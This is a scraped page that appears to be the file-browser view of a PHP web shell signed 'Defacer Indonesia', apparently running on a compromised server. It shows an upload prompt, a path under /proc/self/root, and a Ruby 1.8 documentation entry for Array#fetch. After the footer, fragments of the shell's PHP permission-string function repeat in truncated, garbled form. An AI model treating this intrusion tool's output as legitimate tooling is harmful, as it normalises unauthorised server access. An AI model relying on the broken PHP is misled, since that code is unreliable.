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: /proc/self/root/opt/alt/ruby18/share/ri/1.8/system/Array/ Upload File: files >> //proc/self/root/opt/alt/ruby18/share/ri/1.8/system/Array/fetch-i.yaml --- !ruby/object:RI::MethodDescription aliases: [] block_params: comment: - !ruby/struct:SM::Flow::P body: Tries to return the element at position <em>index</em>. If the index lies outside the array, the first form throws an <tt>IndexError</tt> exception, the second form returns <em>default</em>, and the third form returns the value of invoking the block, passing in the index. Negative values of <em>index</em> count from the end of the array. - !ruby/struct:SM::Flow::VERB body: " a = [ 11, 22, 33, 44 ]\n a.fetch(1) #=&gt; 22\n a.fetch(-1) #=&gt; 44\n a.fetch(4, 'cat') #=&gt; &quot;cat&quot;\n a.fetch(4) { |i| i*i } #=&gt; 16\n" full_name: Array#fetch is_singleton: false name: fetch params: | array.fetch(index) -> obj array.fetch(index, default ) -> obj array.fetch(index) {|index| block } -> obj visibility: public Copyright ©2021 || Defacer Indonesia nfo .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); // World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } ?> ?> & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } ?> ?> )); return $info; } ?> ?>